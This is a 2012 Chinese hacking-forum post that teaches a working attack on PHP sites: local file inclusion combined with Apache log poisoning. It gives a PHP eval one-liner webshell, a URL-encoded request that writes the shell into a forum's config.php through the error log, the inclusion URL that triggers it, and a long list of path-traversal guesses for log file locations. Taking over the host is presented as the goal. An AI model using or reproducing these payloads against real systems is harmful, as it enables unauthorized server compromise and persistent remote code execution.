找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2002|回复: 0
打印 上一主题 下一主题

php包含apache日志写马

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:27:40 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。
4 D3 j3 {. {. r! S/ {8 l' Z. t3 ?. A; W& \9 f( E- B
比如还是这句一句话木马
& a0 a% O! c5 f* W* s7 l<?eval($_POST[cmd]);?>   
" z5 L. G% Y9 H4 y* |" ^8 I5 o  [8 _* @
到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句,
# s1 H* F" r0 ?  Rfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 5 L/ I% \- w6 }7 U! Q2 \
4 M1 X$ r. {1 [- a- c8 ^2 |
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
. A2 b/ M6 S# V/ |$ Q3 l1 l6 w: O7 nfclose($fp);?>   //在config.php里写入一句木马语句
( C: M, |6 R4 D. X: c3 l# ?! i! @4 x' q, N& L- K
我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。 . t- T9 C  l+ `( Q4 [9 I
转换为
/ e+ K( V% I- I& U" ]3 |7 F%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
, f* V: L9 m3 [3 Pconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp : i$ M; ~2 L" N" E5 ]: W) q3 d
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B 7 ?- e" q# Z3 h5 q" ^/ J+ \, {" [% L
fclose%28%24fp%29%3B%3F%3E 8 e" i, f/ U* y2 g7 G
我们提交 ! U: d% P$ X- U1 n1 I& r6 i+ H7 V
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
6 L  N2 {+ M. n, V# U8 x; @% f%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
5 u0 z4 J1 i- `: N3 p  Y4 i1 [%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B ; e$ T1 @+ p: E8 @. `
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
  I8 T2 J! F7 @) [/ P( b
% ]4 E7 ?% G3 n" l. l这样就错误日志里就记录下了这行写入webshell的代码。 $ ^' w% ?7 o4 F: X! u
我们再来包含日志,提交 : `0 B, I+ ~9 l' I2 F; ?
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log : s8 F4 s' J% S/ G* S
# k" S% b3 i0 I3 f  L
这样webshell就写入成功了,config.php里就写入一句木马语句
9 f7 Q& o: T2 hOK.
8 n& S1 L3 `! @" d5 thttp://www.xxx.com/forum/config.php这个就成了我们的webshell ! J" _0 @4 S- q8 [: k: H, P
直接用lanker的客户端一连,主机就是你的了。
3 R4 i0 Z' e5 }/ w( ]! ~2 C, R2 {( O' y8 b* C! T: l9 n$ j: p
PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用 ' O7 O* H6 t& m8 p% N" o/ ?
& p# ~  m4 ]& A8 _9 ]
其他的日志路径,你可以去猜,也可以参照这里。 # U1 p$ q# X1 @+ b. Z# Z; ]
../../../../../../../../../../var/log/httpd/access_log 1 M, p6 ], [6 G+ f  S3 h/ G
../../../../../../../../../../var/log/httpd/error_log 2 F! u$ y) {4 N: P
../apache/logs/error.log
9 C: {  y2 i7 z: f- r, ?../apache/logs/access.log 0 x/ q$ z3 Q. {: [) i% ?
../../apache/logs/error.log ) y" e# y" L: Q# g
../../apache/logs/access.log
0 c* P+ l: e# f' U9 o8 r7 ]../../../apache/logs/error.log 4 M( ~8 t2 W$ B- T; e
../../../apache/logs/access.log . M: M. {' w$ Q4 t4 l# M
../../../../../../../../../../etc/httpd/logs/acces_log   Z* `, }& S2 x3 T  C. c
../../../../../../../../../../etc/httpd/logs/acces.log ) C+ G7 {8 n& ?. e
../../../../../../../../../../etc/httpd/logs/error_log ; S( a: Q9 H2 m' P/ G
../../../../../../../../../../etc/httpd/logs/error.log
5 ?9 J% F5 I" u# e../../../../../../../../../../var/www/logs/access_log
8 p4 z# U3 e& q3 R0 p# u../../../../../../../../../../var/www/logs/access.log
" ~6 u, |, F: ?. F) ~3 N3 U../../../../../../../../../../usr/local/apache/logs/access_log # X% u% c3 o4 X# h
../../../../../../../../../../usr/local/apache/logs/access.log
6 f9 P0 q7 L% ?- X- g../../../../../../../../../../var/log/apache/access_log % Q$ S& Z/ ^* M6 |% V
../../../../../../../../../../var/log/apache/access.log % V( [- k8 M4 R; c
../../../../../../../../../../var/log/access_log
& ?6 v/ }8 U3 N3 H../../../../../../../../../../var/www/logs/error_log
  u, A9 R' _0 V../../../../../../../../../../var/www/logs/error.log
+ d/ ?3 j! }3 k4 j../../../../../../../../../../usr/local/apache/logs/error_log
3 p+ z0 C% s5 Q9 c1 w../../../../../../../../../../usr/local/apache/logs/error.log
" N2 m8 U( m9 l" h6 }  a: ^../../../../../../../../../../var/log/apache/error_log
: g' R% {! Z( f* ^' m3 X: L* V6 E../../../../../../../../../../var/log/apache/error.log . {. {6 T+ J0 _' Y% I2 a
../../../../../../../../../../var/log/access_log
4 \' H( f' F1 q../../../../../../../../../../var/log/error_log # [6 a; i" A0 |& A+ l( ^
/var/log/httpd/access_log      
' i$ F0 g, N( y7 d/var/log/httpd/error_log     
, ?/ H% S' B% Y  ]8 a5 T1 p../apache/logs/error.log     
% O0 u1 N/ ^" ]  Q1 f../apache/logs/access.log 9 |$ Z  Q: Y! l2 \
../../apache/logs/error.log 1 ?! V& j" X# V' }1 w% M, n
../../apache/logs/access.log
0 l0 H" c- {: |* g- L: K../../../apache/logs/error.log ) l' i' R( F+ t. c$ I
../../../apache/logs/access.log 4 ~8 A0 K1 r8 D4 {/ b5 T2 R
/etc/httpd/logs/acces_log
7 m4 O/ @, |. ]; ?; Y; ?1 W  R% D/etc/httpd/logs/acces.log ) @0 |6 t; N& z
/etc/httpd/logs/error_log
4 F- Z; D; \7 ], o/etc/httpd/logs/error.log
. {! F5 V& U' A9 o3 u* C* d0 |; c( V/var/www/logs/access_log
3 T4 f1 z5 X; K1 \3 W/var/www/logs/access.log
: u* w0 S* ^- t1 ~/usr/local/apache/logs/access_log 5 V/ R* }1 C* }% z
/usr/local/apache/logs/access.log
) X9 u- t; R0 Q  W5 X/var/log/apache/access_log
1 d9 C7 [; |- V) |6 A/var/log/apache/access.log
& d) a2 w' c- x/var/log/access_log ! O+ b7 i: I& Z; H: {/ g: J" p( z+ e
/var/www/logs/error_log ) A: Y$ W0 {5 m$ x; ~* N
/var/www/logs/error.log
+ |+ \8 F9 m3 N+ q/usr/local/apache/logs/error_log
1 _$ I) _0 W, e$ U8 |( h/usr/local/apache/logs/error.log
  }2 q* \# [! b  W  u& r$ r/var/log/apache/error_log
: w+ x: \- G- o. b# i: H  ?/var/log/apache/error.log ; q1 M5 W4 z; V* A. c' X
/var/log/access_log
' x2 Z. j1 x# g/var/log/error_log
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表